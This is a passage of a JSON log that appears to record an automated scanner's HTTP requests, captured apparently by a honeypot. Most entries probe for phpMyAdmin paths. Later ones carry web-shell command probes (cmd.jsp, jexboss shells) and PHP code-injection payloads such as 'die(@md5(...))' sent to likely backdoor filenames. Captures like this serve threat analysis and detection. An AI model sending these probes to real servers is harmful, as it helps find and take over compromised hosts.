  281. "data": "GET /admin/mysql2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  282. },
  283. {
  284. "@timestamp": "2018-12-17T09:40:30.000Z",
  285. "data": "GET /admin/phpmyadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  286. },
  287. {
  288. "@timestamp": "2018-12-17T09:40:30.000Z",
  289. "data": "GET /admin/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  290. },
  291. {
  292. "@timestamp": "2018-12-17T09:40:29.000Z",
  293. "data": "GET /admin/mysql/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  294. },
  295. {
  296. "@timestamp": "2018-12-17T09:40:28.000Z",
  297. "data": "GET /admin/PMA/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  298. },
  299. {
  300. "@timestamp": "2018-12-17T09:40:28.000Z",
  301. "data": "GET /web/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  302. },
  303. {
  304. "@timestamp": "2018-12-17T09:40:28.000Z",
  305. "data": "GET /admin/pma/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  306. },
  307. {
  308. "@timestamp": "2018-12-17T09:40:27.000Z",
  309. "data": "GET /dbadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  310. },
  311. {
  312. "@timestamp": "2018-12-17T09:40:27.000Z",
  313. "data": "GET /db/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  314. },
  315. {
  316. "@timestamp": "2018-12-17T09:40:26.000Z",
  317. "data": "GET /admin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  318. },
  319. {
  320. "@timestamp": "2018-12-17T09:40:26.000Z",
  321. "data": "GET /pmamy2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  322. },
  323. {
  324. "@timestamp": "2018-12-17T09:40:26.000Z",
  325. "data": "GET /mysql/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  326. },
  327. {
  328. "@timestamp": "2018-12-17T09:40:25.000Z",
  329. "data": "GET /pmamy/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  330. },
  331. {
  332. "@timestamp": "2018-12-17T09:40:24.000Z",
  333. "data": "GET /PMA2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  334. },
  335. {
  336. "@timestamp": "2018-12-17T09:40:24.000Z",
  337. "data": "GET /pma/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  338. },
  339. {
  340. "@timestamp": "2018-12-17T09:40:24.000Z",
  341. "data": "GET /PMA/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  342. },
  343. {
  344. "@timestamp": "2018-12-17T09:40:23.000Z",
  345. "data": "GET /pmd/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  346. },
  347. {
  348. "@timestamp": "2018-12-17T09:40:23.000Z",
  349. "data": "GET /phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  350. },
  351. {
  352. "@timestamp": "2018-12-17T09:40:22.000Z",
  353. "data": "GET /index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  354. },
  355. {
  356. "@timestamp": "2018-12-17T09:40:22.000Z",
  357. "data": "GET /a/pwn.jsp?cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  358. },
  359. {
  360. "@timestamp": "2018-12-17T09:40:22.000Z",
  361. "data": "GET /phpmyadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  362. },
  363. {
  364. "@timestamp": "2018-12-17T09:40:21.000Z",
  365. "data": "GET /HCEGH/xunfeng.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  366. },
  367. {
  368. "@timestamp": "2018-12-17T09:40:20.000Z",
  369. "data": "GET /wstats/wstats.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  370. },
  371. {
  372. "@timestamp": "2018-12-17T09:40:20.000Z",
  373. "data": "GET /idssvc/idssvc.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  374. },
  375. {
  376. "@timestamp": "2018-12-17T09:40:20.000Z",
  377. "data": "GET /iesvc/iesvc.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  378. },
  379. {
  380. "@timestamp": "2018-12-17T09:40:19.000Z",
  381. "data": "GET /zecmd/zecmd.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  382. },
  383. {
  384. "@timestamp": "2018-12-17T09:40:19.000Z",
  385. "data": "GET /shellinvoker/shellinvoker.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jexboss\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  386. },
  387. {
  388. "@timestamp": "2018-12-17T09:40:18.000Z",
  389. "data": "GET /dread/lock.jsp?tezaz=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  390. },
  391. {
  392. "@timestamp": "2018-12-17T09:40:18.000Z",
  393. "data": "GET /jbws/jbws.jsp?eval=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jbosses\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  394. },
  395. {
  396. "@timestamp": "2018-12-17T09:40:18.000Z",
  397. "data": "GET /jvrx/cmd.jsp?pwd=everymorning\u0026cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  398. },
  399. {
  400. "@timestamp": "2018-12-17T09:40:17.000Z",
  401. "data": "GET /demo/404.jsp?bjh=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  402. },
  403. {
  404. "@timestamp": "2018-12-17T09:40:16.000Z",
  405. "data": "GET /console/jspzxc.jsp?cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  406. },
  407. {
  408. "@timestamp": "2018-12-17T09:40:16.000Z",
  409. "data": "GET /jexinv4/jexinv4.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  410. },
  411. {
  412. "@timestamp": "2018-12-17T09:40:16.000Z",
  413. "data": "GET /jbossass/jbossass.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jexboss\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  414. },
  415. {
  416. "@timestamp": "2018-12-17T09:40:15.000Z",
  417. "data": "GET /jexinv/jexinv.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  418. },
  419. {
  420. "@timestamp": "2018-12-17T09:40:15.000Z",
  421. "data": "GET /jexinv3/jexinv3.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  422. },
  423. {
  424. "@timestamp": "2018-12-17T09:40:14.000Z",
  425. "data": "GET /jexws2/jexws2.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  426. },
  427. {
  428. "@timestamp": "2018-12-17T09:40:14.000Z",
  429. "data": "GET /jexws3/jexws3.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  430. },
  431. {
  432. "@timestamp": "2018-12-17T09:40:14.000Z",
  433. "data": "GET /jexws4/jexws4.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  434. },
  435. {
  436. "@timestamp": "2018-12-17T09:40:13.000Z",
  437. "data": "GET /jexsw2/jexsw2.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  438. },
  439. {
  440. "@timestamp": "2018-12-17T09:40:12.000Z",
  441. "data": "POST /test.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 33\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nd=Assert\u0026Arui=die(@md5(D3c3mb3r))"
  442. },
  443. {
  444. "@timestamp": "2018-12-17T09:40:12.000Z",
  445. "data": "POST /mm.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 33\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nd=Assert\u0026Arui=die(@md5(D3c3mb3r))"
  446. },
  447. {
  448. "@timestamp": "2018-12-17T09:40:12.000Z",
  449. "data": "POST /1q.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r))"
  450. },
  451. {
  452. "@timestamp": "2018-12-17T09:40:11.000Z",
  453. "data": "POST /cadre.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r))"
  454. },
  455. {
  456. "@timestamp": "2018-12-17T09:40:11.000Z",
  457. "data": "POST /51.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nusername=die(@md5(D3c3mb3r))"
  458. },
  459. {
  460. "@timestamp": "2018-12-17T09:40:10.000Z",
  461. "data": "POST /MCLi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nope=die(@md5(D3c3mb3r));"
  462. },
  463. {
  464. "@timestamp": "2018-12-17T09:40:10.000Z",
  465. "data": "POST /MCLi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4=die(@md5(D3c3mb3r))"
  466. },
  467. {
  468. "@timestamp": "2018-12-17T09:40:10.000Z",
  469. "data": "POST /qq5262.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nqq5262=die(@md5(D3c3mb3r));"
  470. },
  471. {
  472. "@timestamp": "2018-12-17T09:40:09.000Z",
  473. "data": "POST /j.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1=die(@md5(D3c3mb3r));"
  474. },
  475. {
  476. "@timestamp": "2018-12-17T09:40:08.000Z",
  477. "data": "POST /xiaoyu.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nlx=die(@md5(D3c3mb3r));"
  478. },
  479. {
  480. "@timestamp": "2018-12-17T09:40:08.000Z",
  481. "data": "POST /xiaomo.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nmo=die(@md5(D3c3mb3r));"
  482. },
  483. {
  484. "@timestamp": "2018-12-17T09:40:08.000Z",
  485. "data": "POST /xiaohei.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiaohei=die(@md5(D3c3mb3r));"
  486. },
  487. {
  488. "@timestamp": "2018-12-17T09:40:07.000Z",
  489. "data": "POST /db.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nffdd3=die(@md5(D3c3mb3r));"
  490. },
  491. {
  492. "@timestamp": "2018-12-17T09:40:07.000Z",
  493. "data": "POST /hacly.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhacly=die(@md5(D3c3mb3r));"
  494. },
  495. {
  496. "@timestamp": "2018-12-17T09:40:06.000Z",
  497. "data": "POST /cxfm666.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncxfm666=die(@md5(D3c3mb3r));"
  498. },
  499. {
  500. "@timestamp": "2018-12-17T09:40:06.000Z",
  501. "data": "POST /angge.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nangge=die(@md5(D3c3mb3r));"
  502. },
  503. {
  504. "@timestamp": "2018-12-17T09:40:04.000Z",
  505. "data": "POST /log.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nl=die(@md5(D3c3mb3r));"
  506. },
  507. {
  508. "@timestamp": "2018-12-17T09:40:04.000Z",
  509. "data": "POST /data.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  510. },
  511. {
  512. "@timestamp": "2018-12-17T09:40:04.000Z",
  513. "data": "POST /qq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  514. },
  515. {
  516. "@timestamp": "2018-12-17T09:40:03.000Z",
  517. "data": "POST /xiaomar.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  518. },
  519. {
  520. "@timestamp": "2018-12-17T09:40:03.000Z",
  521. "data": "POST /xiaomae.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  522. },
  523. {
  524. "@timestamp": "2018-12-17T09:40:02.000Z",
  525. "data": "POST /z.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nz=die(@md5(D3c3mb3r));"
  526. },
  527. {
  528. "@timestamp": "2018-12-17T09:40:02.000Z",
  529. "data": "POST /xiaoma.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  530. },
  531. {
  532. "@timestamp": "2018-12-17T09:40:02.000Z",
  533. "data": "POST /7.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiaoma=die(@md5(D3c3mb3r));"
  534. },
  535. {
  536. "@timestamp": "2018-12-17T09:40:01.000Z",
  537. "data": "POST /yj.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nyj=die(@md5(D3c3mb3r));"
  538. },
  539. {
  540. "@timestamp": "2018-12-17T09:40:00.000Z",
  541. "data": "POST /wb.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1=die(@md5(D3c3mb3r));"
  542. },
  543. {
  544. "@timestamp": "2018-12-17T09:40:00.000Z",
  545. "data": "POST /uu.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiao=die(@md5(D3c3mb3r));"
  546. },
  547. {
  548. "@timestamp": "2018-12-17T09:40:00.000Z",
  549. "data": "POST /aa.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\na=die(@md5(D3c3mb3r));"
  550. },
  551. {
  552. "@timestamp": "2018-12-17T09:39:59.000Z",
